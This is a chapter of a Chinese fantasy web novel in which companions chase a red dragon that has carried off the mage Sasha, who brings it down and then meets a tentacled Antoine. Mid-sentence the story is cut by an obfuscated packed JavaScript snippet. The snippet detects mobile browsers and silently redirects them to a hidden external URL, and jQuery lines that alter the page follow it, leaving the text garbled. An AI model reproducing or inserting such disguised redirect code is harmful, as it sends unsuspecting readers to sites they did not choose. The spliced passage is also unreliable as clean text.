眼见匕首就要刺中红龙的脖颈连接处。
红龙绷直了脊柱,向高空飞去。
刀尖撞击鳞片,发出脆响。匕首落到深海中。
阿德里安在海浪中游向东北方的岸边,却被蜥蜴人团团围住。
萨沙被龙爪从外袍后颈处揪起来,衣物牵拉的力度不至于使人窒息而死,却可以有效限制被捕者的行动。
阿德里安的脖间同样感到扭曲的痛苦,一呼一吸的牵扯加剧了疼痛,使他行动愈发吃力。
抱着木块的蜥蜴人被同伴拉上长船,向岸边进发。
“谁——咳咳——”阿德里安被从领子揪起来,挣扎中呛了一口水。
“伙计,冷静点。”对方有着浓重的瓦尔德口音。
回头是一张在夜色中尤其明媚的脸。明明顶着敌人的面孔和声音,却无比亲切。
罗宾把阿德里安拽到银龙的背上。
“追吗?”罗宾问。
“还用问吗?”阿德里安回道,“萨沙身上带着制敌重器。”
“什么?”罗宾又问。
“我的剑还握在她手里、还有我的命。”阿德里安搪塞过去,免得罗宾再问。
“守护之链?真是够疯狂的。”半精灵发出一声感叹。
银龙追逐着前方的红龙,但总隔着一段距离,灰白的身躯与夜晚的云层几乎融为一体。
片刻后,罗宾问:“要出击吗?”
阿德里安敲了敲他的肩膀:“她的命,也就是我的命,还在红龙手上。小白都明白的道理。”
透过一层雾气,萨沙依稀看到伊瑞斯西北岸的海岸线在视野下方展开。她的右手紧紧握着阿德里安的细剑,怎奈后领被红龙的左爪揪住,握剑的手无法从后伸到足够长的距离,砍断那只龙爪。
萨沙不知道红龙究竟要把她带到哪里去,但眼下红龙已经飞离了海面,下方是坚实的陆地,强行使用怪物定身术或汲能术,必将导致红龙飞行不稳甚至向下坠去,并不是明智的选择。
与其轻举妄动做无谓的挣扎,不如静观其变。她在寒风中冻得全身发僵,小心翼翼地从魔法袋里摸出一瓶金璃草药水,哆嗦着饮下,咬紧牙关使自己不至于晕过去。
随着红龙飞离了沿海地区,雾气逐渐消散,点点星光在夜空中看得很清晰。萨沙望见北方七星呈现在自己眼前,也就是在红龙的左侧展开,如同一柄勺子,而自己手中握着的剑尖直指勺柄最末端的那颗。
萨沙拼命回想少年时期占星课学的星座分布图,注视着积雪初融的田野和低矮的丘陵,在眼下留下拖影。
现在正值初春三月。可见红龙正在往东南方飞去,也就是白山所在的方向。
它飞到人类的圣山是做什么?难道是想唤醒亡灵森林里那些被封印或是沉睡了的亡灵?萨沙思索着红龙的动机。
并不相关、也不令人愉快的一幕突然浮出水面。十五岁那年初春,萨沙与安托万爬上索莱城郊的格朗蒙特山看月亮,她一边吸着鼻涕,一边顺着他手指的方向看去。
“杜北、马拉克、佩克达、梅格雷兹……”安托万念出一段催眠魔咒般的名称。
“阿尔凯德。”他指着最末端的那颗星,“目前它指示东南方,也就是我的家乡维里耶的方向。”
萨沙惊觉。还有另一种可能,那就是红龙要飞往维里耶,与瓦尔德王国的侵略军汇合。
此前松山镇作为吸血鬼伯爵的大本营,其经久未衰一方面可能出于民众的恐惧,另一方面,说不定得到了官方的纵容。或许黑暗势力与瓦尔德宰相签署了什么秘密协定,才会导致芬里尔森那家伙在同一时间入侵伊瑞斯。
毕竟成熟的政治家不会不知道这样的道理——大敌当前,“攘外必先安内”只会使内部更乱,加速自身走向灭亡。芬里尔森此番动兵,显然不是出于对瓦尔德民众利益的考量。
田野与丘陵逐渐在视野中褪去。眼下是覆盖着积雪的布兰克山脉,蜿蜒匍匐在康提纳大陆中部,如同一只蜈蚣。山脊顶上的积雪很厚。并且由于空气骤然变冷,红龙也降低了飞行的高度。
正是拼命一搏的好时机。哪怕突然下坠,伴随着半空展开的羽落术和积雪的缓冲,不至于直接摔死。
萨沙深吸一口凛冽的空气,默念漂浮咒。
细剑脱离了她的手掌,径直向红龙脖颈连接处飞去。
剑尖触到柔韧的表皮。萨沙将所能调用的所有意志力都放在控制剑身上面。她闭上眼,侧耳倾听风的朝向,用体表每一根毫毛感知周围魔网的波动。
她两手伸到颈后,与加力拉扯她后领的龙爪角力,同时以意志与红龙的咽喉处抵抗的强力搏斗。
剑身一寸一寸地没入红龙的咽喉。同时,她的咽喉也被窒息着,眼前的昏黑变得浓重。她的手在魔法袋里摸索。
红龙正在东倒西歪地下坠。在距离地面不到百米的空中,萨沙剪短了外套兜帽,被红龙羽翼扑扇的狂风吹得翻了个面,不受控制地仰面向雪地上砸去。
她撕开了手中的羽落术卷轴。而重伤后的红龙彻底丧失了理智,疯狂地扑扇翅膀,倾尽体内火囊中所有燃料,向前喷用出大团大团的火焰,就连周围的空气也变得炽热烧灼。
可能还没落地,就先变成了烤肉。
“谢谢你,伊恩。再见,伊恩。”萨沙在彻底失去意识前,强行用黑魔法切断了守护之链。
银龙前方是一片蒸腾的火焰,将天色和积雪映得通红,从刺眼的火光中根本看不到一个渺小人影的去向。
阿德里安惊觉自己脖颈间的束缚力消失了,并且体内突然涌入一股电流,就像山风拂过林木、歌者拨动琴弦那样,触动他体内的每一处血管。
“我明白了。”他喃喃道。
“无论如何,今晚不能让它活着回去。”游侠压抑住哽咽声,挤出战斗的宣言。
罗宾点点头:“你能看清红龙的位置吗?”
阿德里安:“不能,但我可以感应到我的剑,应该插在红龙咽喉处。”
罗宾的嘴角不由上翘:“太好了,给它加个魔嘴术。”
伴随着吟游法术的吟唱,弓竖琴发出阵阵乐音。电流在阿德里安的指尖轮转,传递到琴弦上。只听得悠扬的乐音变得失真,辅之以灵巧指节的轮拨,琴声就像不休止的恶魔低语。
罗宾嘴边横着一柄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144958|183009||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
短笛,加入了阿德里安的即兴演奏。他平生从未吹奏过如此尖锐刺耳的音乐。颤动的琴弦牵拉着无形的魔网,而笛声触到琴音后就像踩到火热铁板的野鸡,发出尖锐爆鸣。
“没有人爱你,你会孤独地死去。”红龙喉间的剑上凭空长出一张嘴,活像只大鹦鹉,复制着那位半恶魔的低声吟唱。
“我会在你的腹部雕刻花纹,给肠子打一百个蝴蝶结。我会让你哈哈大笑,渡鸦的小嘴在翕动的龙肺上挠痒痒。我会劈开你的肋骨,让你像生前那样‘展翅飞翔’。”
红龙终于不再挣扎,像一块陨石一样,掉落在山脊的积雪上。
龙身的火焰热化了周围的积雪,雪水与草甸的泥泞混作一团。阿德里安的靴子踩在泥浆上,大步走向死去的红龙。身后的罗宾被溅了一身泥点子,头上脸上,只能匆匆抬手抹了几下。
龙爪。阿德里安掰开紧握的龙爪。但无论哪只附近,都不见萨沙的身影。他走到龙颈处,拔出属于自己的配剑。
剑尖又刺入龙颈的皮肉中。来来回回不下三十次,直到那片唯一不被龙鳞覆盖的部位,被他捣得血肉模糊,碎裂的组织和脏污的雪水混作一团,腥红的浆液与针刺般的寒意几乎要渗进他的皮靴。
黑发游侠拄着剑,跪在雪地上。
小白正对着寒风吹来的方向,大口把冷空气吞进嘴里。罗宾则用那双半精灵的眼睛,警戒地眺望远方。
远处,四方峰天文台前,一个几乎要被风雪吞没的渺小声影,点燃了塔顶的烽火。
·
失重感就要把萨沙吞没。
好像有什么清凉的东西接住了她。她感觉自己掉进了深不见底的湖中,突然被水草缠绕,柔韧黏滑的肢干托住她的身躯,又抚慰被龙息灼伤的体肤。
她在雪地上醒来。但自己并没有陷在雪中。与其说是从高空坠落,更像是被人轻轻放在了雪上。
不远处躺着另一个一动不动的人类躯体。以及散在地上的两块底部包裹毛皮的细长木板,和两根手杖。
一个裹在灰蓝色军服里的身影。柔软的浅金色长发,蓝色发带束着一个低马尾。小腿横七竖八地外翻,看上去无疑是骨折了。
既视感涌上萨沙心头,她在梦中见过几乎一模一样的场景。
“安托万?”萨沙用尽了力气,把不知是死是活的身躯圈在怀里,把魔法袋里的高级治疗药水浇在他身上。
“路希昂-安托万·卡诺?”她摇晃着很可能救了她的那家伙,拿出复活卷轴,“啧,原来你这人早有预谋,料到我不会让你死啊。”
积雪表层有些松动,裂了一道小缝隙。萨沙迟疑了一番。但看着安托万两手无力地垂在身侧,也没握着什么匕首之类的,她叹了口气,展开复活卷轴。
手突然无法活动。黑色的触手从积雪下方伸展而上,就像一丛破土而出的暗黑植株。黑色的藤蔓缠住萨沙的身躯,沿着脊柱漫上她的后颈。
她的右手还托着安托万的后背。但方才右掌一道剧痛之后,丧失了任何知觉。
只见她的右掌被触手贯穿出一个大洞,而数十条触手的根源,正是自安托万的脊背中央生长而出。